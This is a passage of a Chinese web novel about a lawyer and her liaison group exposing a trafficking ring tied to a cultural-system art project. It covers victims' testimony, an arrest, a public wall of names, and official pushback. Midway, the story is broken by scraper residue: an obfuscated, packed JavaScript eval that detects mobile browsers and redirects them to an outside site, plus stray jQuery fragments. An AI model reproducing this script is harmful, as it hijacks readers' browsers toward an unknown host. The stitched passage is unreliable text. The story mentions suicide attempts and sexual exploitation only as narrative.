最后笑了一声。


    “我爸说怕我顶不住？”


    “那你回去转告他——”


    “当年我妈是怎么死的，他比谁都清楚。”


    “我顶不住，是他给我种下的。”


    “但现在我站住了。”


    “我不是靠归宿。”


    “我是靠清算。”


    “我不是要他放心。”


    “我是要他——认命。”


    她说完这句，挂了电话，重新打开微博。


    她发了一张图。


    是一张账本的局部照片。


    上面写着：


    【反馈备注：受接待者好评，推荐再用】


    她配了一句话：


    【这不是记录。这是人命被登记的证据。】


    【她不是商品。】


    【我也不是。】


    赵意之是晚上七点半落地的。


    航班原本是定第二天凌晨转机，但她前一程飞的是公务仓，刚落地就被人认了出来。


    机场有人拍到她下飞机那一刻，穿着风衣，戴着墨镜，还拉着一个硬壳行李箱。


    她走得慢，但脸上没慌。


    因为她以为她能走。


    她以为程文海已经把“第三批名单”压下来了。


    她以为调查组那边还在“内部评估”。


    她以为她逃得够早——


    但她错了。


    移民局的人等了她一天一夜。


    她落地十分钟，护照还没盖章，就被两名身穿便衣的调查组成员带走。


    全程没吵没闹，行李都来不及拿。


    她只说了一句话：


    “我要见程漾。”


    这句话传回来那晚，程漾正在整理联络组本周的登记数据。


    一共新增受害人登记：二十七名。


    其中八人愿意实名。


    三人愿意录音。


    有一个，甚至准备录视频指证。


    那姑娘坐在联络室里，脸色苍白，一只手还缠着纱布。


    她说她不是“想告谁”。


    她说她就是想——


    “死之前，讲个明白。”


    她说她试过了：


    割腕、喝药、跳河，全失败。


    她说她不怕死。


    她怕她死了，像沈一诺那样，被写一句“疑似精神异常”。


    她说：


    “你们都知道她不是疯的。”


    “那我现在就想让你们知道——我也不是疯的。”


    “是他们把我逼疯的。”


    “不是我活不下去。”


    “是他们不想让我活。”


    程漾听完这些话，眼眶发涨。


    她没哭，也没说“我们一定会帮你”。


    她只问了句：


    “你还想活下去吗？”


    那姑娘点点头，声音小得像蚊子响。


    “想。”


    “那你留下名字。”


    “留下故事。”


    “我们现在不是在写申诉。”


    “我们在写——人命案卷。”


    第二天早上，“赵意之被遣返”正式挂上通报：


    【涉嫌跨境协助人力安排、隐匿资金流、身份资料代加工、违规持有国家级出入境批件】


    通报最后一句话写得尤其扎眼：


    【该人员系程文海原配偶、曾任文化系统行政外联人员】


    网友看完后第一时间不是惊讶，而是问：


    【文化系统也卷进来了？】


    【外联？不会是搞艺术节那批人吧？】


    不到半小时，“风荷会所”另一个合伙人——冯康，被突破口供。


    他交出了一份“资源流转授权名单”。


    全是代号，但后缀统一是“文编”。


    调查组的人当场对上库。


    确实是文化系统下属单位、某“青年艺术创作实验项目”。


    曾经上过电视，拍过纪录片，说是“帮助年轻人实现艺术梦想”。


    程漾拿到这份资料时，整个人沉了两秒。


    她记得——


    沈一诺的日记里写过：


    【我报了一个免费的表演培训班，他们说是帮我们这种没有机会的孩子“圆梦”。】


    【我那时候以为，真的是好事。】


    【结果我第一节课，就被叫去量腰围。】


    【还说——衣服要合身，才显得“干净”。】


    她不是最早被抓进去的。


    她是最早信了“机会”的。


    这件事公布那天下午，全国有六个城市同时出现“联名举报信”。


    有匿名账号发起联署。


    有公益团体发倡议。


    还有法律专业在校大学生主动写了一个法律分析报告：


    【系统性性别压迫结构的识别与剥除建议方案】


    附件第一句话就是：


    【我们知道，她不是商品。】


    【但她们，被当成了商品。】


    【现在我们要做的，就是把她们从商品变回人。】


    晚上九点。


    程漾发了条微博。


    配图是一张“联络组登记墙”的照片。


    上面贴着一张张便签纸。


    每张纸上只有一句话。


    【我在。】


    【我愿意。】


    【我没疯。】


    【我能活。】


    【我记得她。】


    她没配文字。


    但下面评论一片刷着：


    【我们不是她，但我们和她一样。】


    【她们不是一起死的，但可以一起翻案。】


    【她不是商品，我们也不是。】


    【记住这个名字：沈一诺。】


    省纪委的人进文化系统那天下午，动静不算大。


    没有电视直播，没有新闻推送。


    但系统里所有人都知道，是真的来了。


    三辆车，七个人，直进“文化人才发展中心”办公楼。


    书记、主任、项目组长，所有人全在。


    他们来了一句话没说，先拿走了三份电脑硬盘。


    其中一块，是“青年艺术创作实验项目”的。


    下午三点半，组长失联。


    不是请假，也不是“带病调休”。


    是人彻底消失。


    最后一条微信停在上午十点零八分，内容是：


    【我们是不是走得太快了？】


    配图是一张会议记录。


    那天会议主题叫：


    【资源交流·年末接待安排协调会】


    坐席名单上，有四个名字。


    其中一个，程漾见过。


    是她爸曾经带她去参加“文化系统迎春会”时介绍过的：


    “这是我学生。”


    “文化口现在有点事，他先顶着。”


    她当时没放在心上。


    现在才知道——


    这不是顶事。


    这是顶人命。


    就在这天上午十点，程漾收到平台方一封正式邮件：


    【根据上级指示，现授权贵方设立“临时协助窗口”，统一接收与处理‘非正常社交安排受害人’登记材料，联络系统已开通，后续将配合立项备案流程。】


    一句话：她和联络组正式接入官方流程了。


    不是民间举报。


    是系统认可。


    她坐在办公室，看着那封邮件盯了很久，最后回了两个字：


    【收到。】


    然后她关了网页，起身拉开窗帘。


    外面风有点大，天灰灰的，楼下还有人举着手机在拍她办公室的方向。


    她没避。


    她站着站着，突然说了一句：


    “我们开始建第一批‘人名墙’。”


    林茜一愣：“建哪种？”


    “实名的。”


    “把愿意留下名字的全贴出来。”


    “让他们看看——”


    “不是一个‘疯子’在喊。”


    “是一个个活人，在讲自己怎么死过一遍。”


    当晚六点，墙建起来了。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023518|175465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    A4纸贴了整整三面墙。


    名字一个一个写上去。


    没配经历，没写故事。


    只有名字。


    因为他们说——


    “我现在还不能说。”


    “但我想留下我的名字。”


    “我要是死了，也要有人知道我叫啥。”


    “不是编号。”


    “不是‘她’。”


    “我叫我自己的名字。”


    这件事第二天就上了热搜。


    第一批实名墙公布


    评论区里没有争论。


    全是沉默+转发。


    甚至有人自发开始做“城市版”名字墙，在自己学校、社区、办公室里贴上——


    【如果你愿意留下名字，告诉我们。】


    【她不是商品。】


    【我们也不是。】


    就在所有人以为这事终于要走入“正义流程”时，政务系统那边开始反扑了。


    第一步，不针对程漾。


    针对律所。


    她所在律所的运营账户突然被查税务。


    两个项目被叫停，三个月内不得再承接新的“社会性项目”。


    理由是“程序合规性待核实”。


    主任给她打电话那天，语气复杂。


    “你这边做的事，我们都理解。”


    “可你也知道，我们吃的是这口饭。”


    “这事再闹下去，我们不是帮不了你。”


    “是会一起塌。”


    “你是不是……可以歇一歇？”


    “或者你换个角度继续？”


    “比如，做个公益项目？”


    “别再老往人身上撞了。”


    “上头的意思——也不是让你闭嘴。”


    “是让你‘理性点’。”


    这句话她听得太多了。


    她都不用多想，张嘴就说：


    “他们不是让我理性。”


    “他们是怕我说得太实。”


    “怕我不是在吵。”


    “而是在讲流程。”


    “怕我不是在骂。”


    “而是在翻证据。”


    “怕我不是在闹情绪。”


    “而是在立卷。”


    “你要是也怕，那我退出。”


    “我不想让你们一起塌。”


    主任那头沉默了三十秒。


    最后说了一句：


    “你别退。”


    “我们扛。”


    “但你也得记住——你在往哪儿站。”


    程漾说：“我没站队。”


    “我站的是死人那边。”


    人名墙出事那天是周六。


    上午十点，联络组办公室刚开门，林茜就冲上楼来，脸色不太对。


    “墙被撕了。”


    程漾一怔：“哪堵？”


    “二楼那面，西墙。”


    她当场下楼。


    走廊上静悄悄的，清洁工不在，门口监控刚好坏了一天。


    整面墙原本贴着将近四百张名字，现在被人撕走了大半，留下乱七八糟的残边，纸角还带着手指划过的油渍。


    不是风吹的。


    是人动的。


    她盯着墙看了几秒，没说话。


    转身回办公室，打开微博，发了一张图。


    只写了一句话：


    【你们连死人的名字都怕？】


    评论区炸了。


    有人说：


    【她们只是名字，又不是实锤。你怕啥？】


    【你撕一张，我们就写十张。】


    【她们贴上墙，是因为她们连墓碑都没有。】


    四小时内，全国二十七所高校自发复刻“人名墙”。


    有写在展板上的。


    有贴在宿舍楼公告栏的。


    有直接用粉笔在操场地面画的。


    每一面墙上都有一个位置是空的，写着：


    【她还没来得及说，就被关在包厢里了。】


    晚上七点，中央发布第一次“跨地区联动专项清查通报”。